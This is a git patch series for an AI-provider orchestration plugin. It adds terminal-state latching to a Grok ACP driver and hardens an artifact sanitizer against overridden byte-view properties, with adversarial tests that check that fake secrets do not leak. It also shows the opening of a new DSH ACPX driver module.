session_id: prior.session_id, request_id: prior.request_id, @@ -921,6 +955,15 @@ function runReconcile(store, request) { putLane(store, identity, { ...prior, session_id: sessionId, reattached: true }); } + if (latched) { + putLane(store, identity, { + ...prior, + state: capturedIncludes(TERMINAL_LATCH_STATES, prior.state) ? prior.state : 'terminal', + terminal_latch: true, + }); + return driverResult('reconcile', identity, 'terminal'); + } + const observed = observeLane(store, identity, getLane(store, identity), include); const disposition = prior.state === 'dispatch_uncertain' && observed.status === 'lost' ? 'dispatch_uncertain' @@ -935,6 +978,7 @@ function runReconcile(store, request) { evidence: observed.evidence, last_status: observed.status, session_id: observed.sessionId, + terminal_latch: nextState === 'terminal', }); return driverResult('reconcile', identity, disposition); } @@ -948,9 +992,8 @@ function runCancel(store, request) { 'Cancel addresses an existing Grok dispatch; this child has no launch observation.'); } assertLaneIdentity(prior, identity, 'driver.cancel.request'); - if (prior.state === 'terminal' || prior.last_status !== undefined - && capturedIncludes(TERMINAL_OBSERVE_STATUSES, prior.last_status)) { - putLane(store, identity, { ...prior, state: 'already_terminal' }); + if (hasTerminalLatch(prior)) { + putLane(store, identity, { ...prior, state: 'already_terminal', terminal_latch: true }); return driverResult('cancel', identity, 'already_terminal'); } const cancelRequest = transportIdentityRequest(identity, { @@ -975,7 +1018,12 @@ function runCancel(store, request) { fail('invalid_format', 'transport.cancel.result.outcome', `transport.cancel.result.outcome must be one of ${capturedJoin(GROK_ACP_CANCEL_OUTCOMES, ', ')}.`); } - putLane(store, identity, { ...prior, state: outcome, cancel_outcome: outcome }); + putLane(store, identity, { + ...prior, + state: outcome, + cancel_outcome: outcome, + terminal_latch: capturedIncludes(TERMINAL_CANCEL_OUTCOMES, outcome), + }); return driverResult('cancel', identity, outcome); } diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs index 34631b5..0cacef9 100644 --- a/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs @@ -33,6 +33,7 @@ import { } from './fixtures/r1-grok-acp-transport.mjs'; const fixture = buildGrokDriverFixtureV1(); +const LEAK_MARKER = 'XSECRET7Q'; function expectCode(fn, code, message) { assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); @@ -369,6 +370,80 @@ test('cyclic and aliased receipts fail closed', () => { expectCode(() => driver.reconcile(requestFor('reconcile')), 'aliased_reference_denied'); }); +test('blocked preflight keeps XSECRET7Q out of results and errors', () => { + const leakSurfaces = []; + const transport = createScriptedGrokAcpTransportV1({ + preflight: { + ok: false, + detail_code: 'xsecret7q', + detail_message: `provider authored ${LEAK_MARKER} token sk-abcdefghijklmnop`, + ...identityFields(), + }, + }); + const driver = bindGrokAcpDriverV1(transport); + let receipt; + try { + receipt = driver.preflight(requestFor('preflight')); + } catch (error) { + leakSurfaces.push(error); + throw error; + } + assert.equal(receipt.disposition, 'blocked'); + assert.equal(receipt.detail_code, 'preflight_blocked'); + assert.equal( + receipt.detail_message, + 'Grok ACP preflight is blocked; the lane fails closed with no fallback.', + ); + leakSurfaces.push(receipt); + const serialized = leakSurfaces.map((value) => { + if (value instanceof Error) { + return [value.name, value.code, value.path, value.message, value.stack, JSON.stringify(value)].join('\n'); + } + return JSON.stringify(value); + }).join('\n'); + assert.equal(serialized.includes(LEAK_MARKER), false); + assert.equal(JSON.stringify(receipt).includes(LEAK_MARKER), false); + expectCode(() => driver.launch(requestFor('launch')), 'blocked_lane_denied'); +}); + +test('hostile running after latched completed never reports progress or copies provider text', () => { + const { driver, transport } = launchBound({ + observe: [ + { status: 'completed', session_id: GROK_FIXTURE_SESSION_ID, ...identityFields() }, + { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + progress: { status: 'running', cursor: '9', event_count: 3, elapsed_ms: 10 }, + attention: { session_id: GROK_FIXTURE_SESSION_ID, question_id: `q-${LEAK_MARKER}` }, + }, + ], + }); + driver.launch(requestFor('launch')); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const observeAfterLatch = grokAcpCallsOf(transport, 'observe').length; + let receipt; + try { + receipt = driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })); + } catch (error) { + assert.equal(error.code, 'terminal_regression_denied'); + assert.equal(String(error.message).includes(LEAK_MARKER), false); + assert.equal(JSON.stringify({ code: error.code, path: error.path, message: error.message }).includes(LEAK_MARKER), false); + assert.ok(grokAcpCallsOf(transport, 'observe').length <= observeAfterLatch + 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + return; + } + assert.equal(receipt.disposition, 'terminal'); + assert.notEqual(receipt.disposition, 'in_progress'); + assert.notEqual(receipt.disposition, 'unresolved_attention'); + assert.notEqual(receipt.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(receipt).includes(LEAK_MARKER), false); + assert.ok(grokAcpCallsOf(transport, 'observe').length <= observeAfterLatch + 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + test('createGrokAcpDriverV1 captures operations so later mutation cannot swap dispatch', () => { const transport = createScriptedGrokAcpTransportV1(); const driver = createGrokAcpDriverV1(transport); diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs index f7220d6..cc8d9d0 100644 --- a/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs @@ -51,6 +51,47 @@ function launchReady(transport = createScriptedGrokAcpTransportV1()) { return { driver, transport }; } +function identityReceipt(extra = {}) { + return { + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + ...extra, + }; +} + +function transportCounts(transport) { + return { + preflight: grokAcpCallsOf(transport, 'preflight').length, + spawn: grokAcpCallsOf(transport, 'spawn').length, + dispatch: grokAcpCallsOf(transport, 'dispatch').length, + observe: grokAcpCallsOf(transport, 'observe').length, + cancel: grokAcpCallsOf(transport, 'cancel').length, + reattach: grokAcpCallsOf(transport, 'reattach').length, + }; +} + +function assertLatchedTerminalOrDenial(action) { + try { + const receipt = action(); + assert.equal(receipt.disposition, 'terminal'); + assert.notEqual(receipt.disposition, 'in_progress'); + assert.notEqual(receipt.disposition, 'dispatch_uncertain'); + assert.notEqual(receipt.disposition, 'unresolved_attention'); + return receipt; + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'terminal_regression_denied'); + assert.notEqual(error.code, 'in_progress'); + return undefined; + } +} + test('the Grok adapter hard-binds grok, the P05/P17 capability record, and managed worktree semantics', () => { const declaration = grokAcpDriverDeclarationV1(); assert.equal(declaration.capability.provider, GROK_PROVIDER_SLOT); @@ -382,6 +423,132 @@ test('unbound adapter still refuses post-spawn replay', () => { assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); }); +test('completed then hostile running stays latched terminal or typed denial', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: [ + identityReceipt({ status: 'completed' }), + identityReceipt({ status: 'running' }), + ], + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const observeAfterLatch = grokAcpCallsOf(transport, 'observe').length; + assert.equal(observeAfterLatch, 1); + assertLatchedTerminalOrDenial(() => driver.reconcile(requestFor('reconcile'))); + const counts = transportCounts(transport); + assert.ok(counts.observe <= observeAfterLatch + 1, 'observe-call count must stay bounded'); + assert.notEqual(counts.observe, Infinity); + assert.equal(counts.spawn, 1); + assert.equal(counts.dispatch, 1); + assert.equal(counts.cancel, 0); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).spawn, 1); + assert.equal(transportCounts(transport).dispatch, 1); +}); + +test('two cancels after cancel_confirmed confirm once then already_terminal', () => { + const transport = createScriptedGrokAcpTransportV1({ + cancel: identityReceipt({ outcome: 'cancel_confirmed' }), + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 1); + assert.equal(transportCounts(transport).spawn, 1); + assert.equal(transportCounts(transport).dispatch, 1); +}); + +test('terminal source variants latch without extra observe/cancel/spawn/dispatch', () => { + const sources = [ + { label: 'completed', observe: identityReceipt({ status: 'completed' }) }, + { label: 'failed', observe: identityReceipt({ status: 'failed' }) }, + { label: 'cancelled', observe: identityReceipt({ status: 'cancelled' }) }, + { label: 'cancel_confirmed', cancel: identityReceipt({ outcome: 'cancel_confirmed' }) }, + { label: 'already_terminal', cancel: identityReceipt({ outcome: 'already_terminal' }) }, + ]; + for (const source of sources) { + const transport = createScriptedGrokAcpTransportV1({ + observe: source.observe ?? identityReceipt({ status: 'running' }), + cancel: source.cancel ?? identityReceipt({ outcome: 'cancel_confirmed' }), + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched', source.label); + if (source.observe) { + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal', source.label); + } else { + const expected = source.cancel.outcome; + assert.equal(driver.cancel(requestFor('cancel')).disposition, expected, source.label); + } + const afterLatch = transportCounts(transport); + assert.equal(afterLatch.spawn, 1, source.label); + assert.equal(afterLatch.dispatch, 1, source.label); + if (source.cancel) assert.equal(afterLatch.cancel, 1, source.label); + if (source.observe) assert.equal(afterLatch.observe, 1, source.label); + + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal', source.label); + assert.equal(transportCounts(transport).cancel, afterLatch.cancel, `${source.label} extra cancel`); + + assertLatchedTerminalOrDenial(() => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' }))); + const afterReconcile = transportCounts(transport); + assert.ok(afterReconcile.observe <= afterLatch.observe + 1, `${source.label} extra observe`); + assert.equal(afterReconcile.spawn, 1, `${source.label} extra spawn`); + assert.equal(afterReconcile.dispatch, 1, `${source.label} extra dispatch`); + assert.equal(afterReconcile.cancel, afterLatch.cancel, `${source.label} extra cancel after reconcile`); + assert.equal(afterReconcile.reattach, afterLatch.reattach, `${source.label} extra reattach`); + + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied', source.label); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_transition', source.label); + assert.equal(transportCounts(transport).spawn, 1, source.label); + assert.equal(transportCounts(transport).dispatch, 1, source.label); + assert.equal(transportCounts(transport).preflight, 1, source.label); + } +}); + +test('cancel_requested stays nonterminal and a later cancel may still reach transport', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: identityReceipt({ status: 'running' }), + cancel: [ + identityReceipt({ outcome: 'cancel_requested' }), + identityReceipt({ outcome: 'cancel_confirmed' }), + ], + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_requested'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'in_progress'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 2); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 2); +}); + +test('unbound launch then cancel(already_terminal) then preflight cannot resend', () => { + const transport = createScriptedGrokAcpTransportV1({ + cancel: { + outcome: 'already_terminal', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const driver = createGrokAcpDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_transition'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'preflight').length, 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + test('lost observe after uncertain launch stays dispatch_uncertain', () => { const transport = createScriptedGrokAcpTransportV1({ dispatch: { throw: { code: 'transport_timeout' } }, From 738cb4ec58266f1041aa4c9c25fe9f0360173f66 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:52:36 +0000 Subject: [PATCH 028/151] fix(redaction): deny own overrides on intrinsic byte views Inspect own property descriptors on Buffer/Uint8Array sources and stream chunks before reading buffer, byteOffset, byteLength, or subarray. Reject own accessors and data overrides without executing getters, and keep ordinary intrinsic views and their digests unchanged. --- .../mcp/v3/artifact-sanitizer.mjs | 58 ++++++-- ...r1-artifact-sanitizer-adversarial.test.mjs | 135 ++++++++++++++++++ .../test/r1-artifact-sanitizer.test.mjs | 71 +++++++++ 3 files changed, 253 insertions(+), 11 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs index 74c2f36..a50d04a 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs @@ -12,10 +12,13 @@ // stored digest. The live caller-bound stream is the only source of bytes. // // Contract: -// - Source hardening matches P08: proxies (live or revoked), subclasses, +// - Source hardening matches P08 for proxies (live or revoked), subclasses, // SharedArrayBuffer-backed views, accessor-dressed iterables, strings, -// and arbitrary class instances (including Node streams) are denied -// before a byte is read. Every yielded chunk is re-proved intrinsic. +// and arbitrary class instances (including Node streams). In addition, +// own accessors and data overrides on the buffer/byteOffset/byteLength/ +// subarray surface of an otherwise intrinsic view are denied from +// captured descriptors before any of those properties are read or +// called. Every yielded chunk is re-proved intrinsic. // - Only identity-encoded text media types are sanitized // (text/plain, text/markdown, application/json, application/x-ndjson). // application/octet-stream and base64 are refused. @@ -147,6 +150,12 @@ const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; const OPTION_KEYS = capturedFreeze(['artifact_ref', 'source', 'source_truncated']); +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); // Bounded built-in policy. Every value-consuming pattern is length-capped so // the finite overlap is sufficient to catch a split token and no caller @@ -319,7 +328,35 @@ function redactRegion(text) { return { text: output, counts }; } -// ---- Binary source hardening (same discipline as P08, local copy). --------- +// ---- Binary source hardening (P08 local copy plus own-surface checks). ----- + +// Own accessors or data properties on these keys shadow the intrinsic +// TypedArray/Buffer surface. Inspect captured descriptors only: a getter +// must not run, and an overridden buffer/length/subarray must not be used. +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function denyNonIntrinsicView(code) { + if (code === 'artifact_stream_invalid_chunk') { + failSanitizer('artifact_stream_invalid_chunk', 'source', + 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + } + failSanitizer('artifact_stream_invalid_source', 'source', + 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' + + 'async iterable of such views.'); +} function isIntrinsicBinaryView(value) { if (value === null || typeof value !== 'object') return false; @@ -327,6 +364,7 @@ function isIntrinsicBinaryView(value) { const proto = OBJECT_GET_PROTOTYPE_OF(value); if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; const backing = value.buffer; if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; return true; @@ -355,9 +393,7 @@ function classifySource(source) { } if (isAcceptableAsyncIterable(source)) return { kind: 'stream', value: source }; } - failSanitizer('artifact_stream_invalid_source', 'source', - 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' - + 'async iterable of such views.'); + denyNonIntrinsicView('artifact_stream_invalid_source'); } function createSession(declaredLength) { @@ -417,7 +453,8 @@ function feedDecoded(session, decoded) { commitPending(session, false); } -function feedView(session, view) { +function feedView(session, view, denialCode = 'artifact_stream_invalid_source') { + if (hasOwnIntrinsicViewSurfaceOverride(view)) denyNonIntrinsicView(denialCode); const size = view.byteLength; if (size > MAX_RAW_ARTIFACT_BYTE_LENGTH - session.received) { failSanitizer('artifact_stream_over_cap', 'source', @@ -467,10 +504,9 @@ async function* inspectAndForward(iterable, session) { try { for await (const chunk of iterable) { if (!isIntrinsicBinaryView(chunk)) { - failSanitizer('artifact_stream_invalid_chunk', 'source', - 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + denyNonIntrinsicView('artifact_stream_invalid_chunk'); } - feedView(session, chunk); + feedView(session, chunk, 'artifact_stream_invalid_chunk'); yield chunk; } finishSession(session); diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs index 5e484b5..0bc5a3f 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs @@ -222,6 +222,141 @@ test('oversized, endless, huge, short, and over-declared streams fail without pu }); }); +const INTRINSIC_VIEW_SURFACE_KEYS = ['buffer', 'byteOffset', 'byteLength', 'subarray']; + +function copyView(kind, bytes) { + return kind === 'Buffer' ? Buffer.from(bytes) : Uint8Array.from(bytes); +} + +function dressAccessor(view, key, trap) { + Object.defineProperty(view, key, { + configurable: true, + enumerable: false, + get() { + trap.runs += 1; + throw new Error('attacker getter must never run'); + }, + set() { + trap.runs += 1; + throw new Error('attacker setter must never run'); + }, + }); + return view; +} + +function dressData(view, key) { + const attacker = Buffer.from('ATTACKER_SUBSTITUTED_BYTES\n'); + let value; + if (key === 'buffer') value = attacker.buffer; + else if (key === 'byteOffset') value = 1; + else if (key === 'byteLength') value = 1; + else value = () => attacker; + Object.defineProperty(view, key, { + configurable: true, + enumerable: false, + writable: true, + value, + }); + return view; +} + +async function* streamOf(view) { + yield view; +} + +test('own accessors and data overrides on intrinsic byte views fail closed without traps or substitution', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-buffer.txt`, + }), + source: sample.raw, + }); + const uint8 = Uint8Array.from(sample.raw); + const viaUint8 = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-uint8.txt`, + }), + source: uint8, + }); + assert.equal(viaBuffer.source_digest, digestOf(sample.raw)); + assert.equal(viaUint8.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8.sanitized_digest, viaBuffer.sanitized_digest); + assert.equal(viaBuffer.sanitized_digest, digestOf(sample.sanitized)); + + const viaUint8Stream = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean-uint8-stream.txt`, + }), + source: streamOf(Uint8Array.from(sample.raw)), + }); + assert.equal(viaUint8Stream.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8Stream.sanitized_digest, viaBuffer.sanitized_digest); + + let caseIndex = 0; + for (const kind of ['Buffer', 'Uint8Array']) { + for (const key of INTRINSIC_VIEW_SURFACE_KEYS) { + for (const dress of ['accessor', 'data']) { + for (const mode of ['source', 'chunk']) { + caseIndex += 1; + const trap = { runs: 0 }; + const view = copyView(kind, sample.raw); + if (dress === 'accessor') dressAccessor(view, key, trap); + else dressData(view, key); + const expectedCode = mode === 'chunk' + ? 'artifact_stream_invalid_chunk' + : 'artifact_stream_invalid_source'; + const source = mode === 'chunk' ? streamOf(view) : view; + const error = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/override-${caseIndex}.txt`, + }), + source, + }), + expectedCode, + 'source', + ); + assert.equal(trap.runs, 0, `${kind} ${key} ${dress} ${mode} executed a getter`); + assertContentFree(error, root, sample.raw); + assert.equal(error.message.includes('attacker getter'), false); + assert.equal(error.message.includes('ATTACKER_SUBSTITUTED_BYTES'), false); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(error.code, expectedCode); + } + } + } + } + + const substituting = Buffer.from(sample.raw); + let substituteRuns = 0; + Object.defineProperty(substituting, 'byteLength', { + configurable: true, + get() { + substituteRuns += 1; + return 0; + }, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/substituting-byteLength.txt`, + }), + source: substituting, + }), + 'artifact_stream_invalid_source', + 'source', + ); + assert.equal(substituteRuns, 0); + + const report = await store.audit(); + assert.equal(report.artifacts, 6); + assert.equal(report.namespaces.raw.artifacts, 3); + assert.equal(report.namespaces.sanitized.artifacts, 3); + }); +}); + test('proxy, revoked proxy, subclass, shared buffer, accessor, and arbitrary streams fail closed', async () => { await withStore(async (store, root) => { const sample = SAMPLES.credentialFormat; diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs index 8d309ea..0cd0d6e 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs @@ -136,6 +136,77 @@ test('a validated buffer source publishes raw and sanitized and returns frozen p }); }); +test('intrinsic Buffer and Uint8Array views keep the same digest; own surface overrides are denied', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.plain; + const viaBuffer = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/buffer.txt`, + }), + source: sample.raw, + }); + const uint8 = Uint8Array.from(sample.raw); + const viaUint8 = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(uint8, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/uint8.txt`, + }), + source: uint8, + }); + assert.equal(viaBuffer.source_digest, digestOf(sample.raw)); + assert.equal(viaUint8.source_digest, viaBuffer.source_digest); + assert.equal(viaUint8.sanitized_digest, viaBuffer.sanitized_digest); + assertProvenanceShape(viaBuffer, sample); + assertProvenanceShape(viaUint8, sample); + + let getterRuns = 0; + const dressed = Buffer.from(sample.raw); + Object.defineProperty(dressed, 'byteLength', { + configurable: true, + get() { + getterRuns += 1; + throw new Error('attacker getter must never run'); + }, + }); + const dressedError = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/dressed-source.txt`, + }), + source: dressed, + }), + 'artifact_stream_invalid_source', + 'source', + ); + assert.equal(getterRuns, 0); + assert.equal(dressedError.message.includes('attacker getter'), false); + assert.equal(dressedError.message.includes(root), false); + + const attacker = Buffer.from('ATTACKER_SUBSTITUTED_BYTES\n'); + const overridden = Uint8Array.from(sample.raw); + Object.defineProperty(overridden, 'subarray', { + configurable: true, + writable: true, + value() { return attacker; }, + }); + async function* dressedChunk() { yield overridden; } + const chunkError = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/dressed-chunk.txt`, + }), + source: dressedChunk(), + }), + 'artifact_stream_invalid_chunk', + 'source', + ); + assert.equal(chunkError.message.includes('ATTACKER_SUBSTITUTED_BYTES'), false); + const report = await store.audit(); + assert.equal(report.artifacts, 4); + assert.equal(report.namespaces.raw.artifacts, 2); + assert.equal(report.namespaces.sanitized.artifacts, 2); + }); +}); + test('buffer and bounded async stream sources produce identical sanitized digests', async () => { await withStore(async (store) => { const sample = SAMPLES.plain; From 760d62da5ea210235123c339adf36e96b88a963b Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sat, 22 Aug 2026 20:50:00 +0000 Subject: [PATCH 029/151] feat(provider): add the DSH ACPX provider driver for Muse Spark and Ox Alpha Additive P20 adapter over the accepted P17 ProviderDriverV1 contract. It hard-binds provider dsh plus exactly muse-spark-1.2-contributor or stealth/ox-alpha, drives preflight/launch/reconcile/cancel through an injected bounded ACPX one-shot transport port, and inherits every envelope, capability, transition, and denial rule from the accepted contract (no parallel envelope or capability schema). ACPX provides no authoritative prompt-sent acknowledgement: after spawn intent the launch posture stays uncertain; post-intent exceptions and loss are reported as dispatch_uncertain and are never replayed, retried, or fallback-substituted. Only provably pre-spawn failures may report not_sent. Same-session reply is unsupported: unresolved attention surfaces honestly and no replacement prompt or session is started. Live progress, detailed events, cancellation confirmation, and restart recovery read recorded ACPX evidence through bounded pages; exact model/config/credential identity and task/session correlation fail closed on drift; forged receipts fail closed while loss degrades to uncertainty. Events, records, cursors, lanes, attempts, operations, and clock readings are capped, and detail telemetry is composed only from closed vocabulary words and validated integers so prompt, reply, or event content can never leak into protected telemetry. The module claims no real transport, durable P19/P21 store, scheduler, registry cutover, supervisor cutover, or merge/PR authority. --- .../mcp/v3/dsh-acpx-driver.mjs | 1070 +++++++++++++++++ 1 file changed, 1070 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs new file mode 100644 index 0000000..dbd775d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs @@ -0,0 +1,1070 @@ +// DshApxDriverV1 - the P20 DSH ACPX provider driver for Muse Spark 1.2 +// Contributor and Ox Alpha. +// +// Additive v3 adapter over the accepted P17 ProviderDriverV1 contract. This +// module owns ONLY the DSH-specific wiring; every request/result shape, +// capability posture, transition rule, and denial code is inherited from the +// accepted contract (no parallel envelope or capability schema): +// - hard binding: provider `dsh` plus exactly `muse-spark-1.2-contributor` +// or `stealth/ox-alpha`; every other provider/model pairing fails closed; +// - the four lifecycle operations (preflight, launch, reconcile, cancel) +// are driven through an INJECTED BOUNDED ACPX ONE-SHOT TRANSPORT PORT. +// The port owns every real interaction; this module performs none; +// - honest uncertainty: ACPX provides no authoritative prompt-sent +// acknowledgement, so after spawn/dispatch intent the launch posture is +// uncertain. Any post-intent exception or loss is reported as the +// `dispatch_uncertain` disposition and is NEVER replayed, retried, or +// fallback-substituted onto this or another transport. Only a transport +// failure that is provably pre-spawn (a marked pre-spawn error, or any +// failure before the spawn call was ever made) may report `not_sent`; +// - same-session reply is unsupported (`unsupported_unresolved_attention`): +// unresolved attention surfaces honestly through the reconcile +// disposition; no replacement prompt/session is ever started; +// - live progress, detailed events, cancellation confirmation, and restart +// recovery are read from RECORDED ACPX EVIDENCE through bounded pages; +// - exact model/credential/config identity plus task/session correlation +// fail closed on drift; forged or malformed receipts fail closed while +// transport loss degrades honestly to uncertainty; +// - events, records, cursors, lanes, attempts, operations, timestamps, and +// diagnostics are capped; detail messages are composed only from closed +// vocabulary words and validated integers, so provider prompt, reply, or +// event content can never leak into protected telemetry. +// +// Non-claims: this slice qualifies no real transport. The module claims no +// durable P19/P21 store, scheduler, registry cutover, or supervisor cutover, +// and holds no merge/PR authority. + +import { + createHash as nodeCreateHash, + timingSafeEqual as cryptoTimingSafeEqual, +} from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + bindProviderDriverV1, + validateDriverDeclarationV1, +} from './provider-driver.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedJoin, + capturedTest, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE 